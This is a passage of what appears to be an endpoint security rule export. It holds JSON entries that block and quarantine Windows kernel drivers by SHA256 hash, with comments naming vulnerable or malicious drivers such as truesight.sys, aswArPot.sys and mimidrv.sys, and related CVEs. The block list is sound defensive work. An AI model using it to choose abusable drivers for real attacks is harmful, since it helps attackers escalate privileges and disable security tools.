+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144375Z",
+  "creation_date": "2026-03-23T11:45:31.144377Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144382Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ccb6149fd214027de4fff2fcde8040b009d6c9e397523914a4512a8e71510a4b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2757b5f1-b6aa-5cb9-8fc5-52943094930c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480134Z",
+  "creation_date": "2026-03-23T11:45:30.480136Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480141Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9e0c2a569ab02742fa3a37846310a1d4e46ba2bfd4f80e16f00865fc62690cb",
+  "comment": "Vulnerable Kernel Driver (aka IoAccesssys.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2762d5e1-3063-5305-a155-73a580ac208c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818172Z",
+  "creation_date": "2026-03-23T11:45:30.818174Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818180Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b074caef2fbf7e1dc8870edccb65254858d95836f466b4e9e6ca398bf7a27aa3",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "27667b97-5ddc-5f3d-8f8d-b4ef2072d05d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981570Z",
+  "creation_date": "2026-03-23T11:45:29.981573Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981578Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2ec3b2a93c473d88bfdf2deb1969d15ab61737acc1ee8e08234bc5513ee87ea",
+  "comment": "Vulnerable Kernel Driver (aka gametersafe.sys) [https://www.loldrivers.io/drivers/1ab1ec8c-1231-4ba4-8804-4a2cda103bb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "27671ae9-422c-59b8-9cb2-f15aa17b3f64",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471410Z",
+  "creation_date": "2026-03-23T11:45:30.471413Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471423Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1997e2a6302f3196975f858fef63188a249f79b6c2982d31ae07405e8aada58f",
+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/fbdd993b-47b1-4448-8c41-24c310802398/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "276755f2-5b5d-5a6a-85b0-9a65b6019104",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604772Z",
+  "creation_date": "2026-03-23T11:45:29.604774Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604779Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "69527aa5ad089d9731e0054a32c9626a8d25416664f8d9b444bec674ba695ad5",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "277a237b-3f4b-5db9-8a7f-9962a2c1005d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973217Z",
+  "creation_date": "2026-03-23T11:45:29.973219Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973224Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8907c476440abdd7f71feb068443a7c9736aa6bf625dfb8b6931c46341aa4abf",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "27b4489c-d4a0-55cd-a711-fe94c9f09d18",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828137Z",
+  "creation_date": "2026-03-23T11:45:30.828139Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828145Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c31418c493f33151a86bca000d364ef472a07650f87cbf02cdb1ed9915a9e6f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "27b74b27-493b-51ce-b86c-aa0aea168ea0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478863Z",
+  "creation_date": "2026-03-23T11:45:31.478866Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478891Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "04bcb3a05961381a4e28a05901a21c6ce15437e59482db083b4e46dfc666722e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "27cf7ff6-ac99-5286-a09d-b03de2c32282",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970228Z",
+  "creation_date": "2026-03-23T11:45:29.970230Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970235Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5eb493fc07a9573176f87297a002183d8e60104619a7b83940ce6e83ac54cd7b",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "27d19d51-37fe-55b8-ac03-a67ae9b674c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807330Z",
+  "creation_date": "2026-03-23T11:45:31.807333Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807339Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7de59866f3420467502e2bf8cab8171c9fc259f7380cb5a2c7d833d16d1e2edf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "27d749a8-0ed6-54a9-b581-dd5b7acb6f91",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454211Z",
+  "creation_date": "2026-03-23T11:45:30.454214Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454224Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "752b31418053dc19c0573d16953d5ad24723bd57e5f62eff391e632548855b5f",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/bc5e020a-ecff-43c8-b57b-ee17b5f65b21/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "27ecaede-842f-5c3b-9c7d-228ae9641950",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829845Z",
+  "creation_date": "2026-03-23T11:45:30.829847Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829852Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7abb86c7ad13581e0cb1be79bb579efe786f1253a3fcaf6fae7607fe09bc34dc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "27f6ea07-4a09-5975-bf08-315e635e44da",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613065Z",
+  "creation_date": "2026-03-23T11:45:29.613067Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613072Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b4d47ea790920a4531e3df5a4b4b0721b7fea6b49a35679f0652f1e590422602",
+  "comment": "ASUS vulnerable UEFI Update Driver (aka AsUpIO64.sys and GVCIDrv64.sys) [https://codeinsecurity.wordpress.com/2016/06/12/asus-uefi-update-driver-physical-memory-readwrite/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "280076a1-ae2a-5916-9aca-916ed89c5618",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817634Z",
+  "creation_date": "2026-03-23T11:45:31.817637Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817646Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a040bd51630fb46f624f359ea7cd6fe929816563f927f16ff125e23b1e2917bb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2806f6bb-58d0-5a3b-b9cc-70d097149010",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500362Z",
+  "creation_date": "2026-03-23T11:45:31.500365Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500374Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dc876fa85717a697e284839410f09ee617bdfe62a75f9ca523ca6545093ab360",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "280ddff5-ef75-5484-8a3d-2fca7695d64f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470251Z",
+  "creation_date": "2026-03-23T11:45:30.470254Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470264Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7adc0785210452664cb684b2c7687589090d31f2a3d0892e8e520145c0799110",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "280eca09-6c68-534c-a356-ba5178908770",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974315Z",
+  "creation_date": "2026-03-23T11:45:29.974317Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974323Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eb14c5db8307488809897be13c66ef02941f6020f9c34a9664db92a00d551f4a",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "28129e27-5790-5199-8968-7ebf1df0e7d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827658Z",
+  "creation_date": "2026-03-23T11:45:31.827660Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827666Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "accd4f23f1b4ec1e16b5107fa7d59eefa1e901c38c1947afe4e132280710f539",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2824d10a-1f6b-533b-8757-6fad13e866e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832782Z",
+  "creation_date": "2026-03-23T11:45:30.832783Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832789Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d42a4554c469020a44eb69cd4ec99bcddb093193a7b75127f82fe2785581dbb9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "282df111-e5d7-50de-8a7e-8045a55ae115",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479241Z",
+  "creation_date": "2026-03-23T11:45:30.479243Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479249Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2fb5d7e6db01c9090bba92abf580d38993e02ce9357e08fe1f224a9b18056e5a",
+  "comment": "Vulnerable Kernel Driver (aka directio32_legacy.sys) [https://www.loldrivers.io/drivers/7a0842ca-1a64-4ad1-9d66-25eb983d1742/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "28371d22-67e8-575e-b9bc-35dd9cea87f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827640Z",
+  "creation_date": "2026-03-23T11:45:31.827642Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827648Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d05c17f5dc4ea2fe3f5bcca774e83fe8b521d1e6fad60ee5178810c40bd10cb1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "28382674-0187-598e-a00a-6f2270ed0c9c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615169Z",
+  "creation_date": "2026-03-23T11:45:29.615171Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
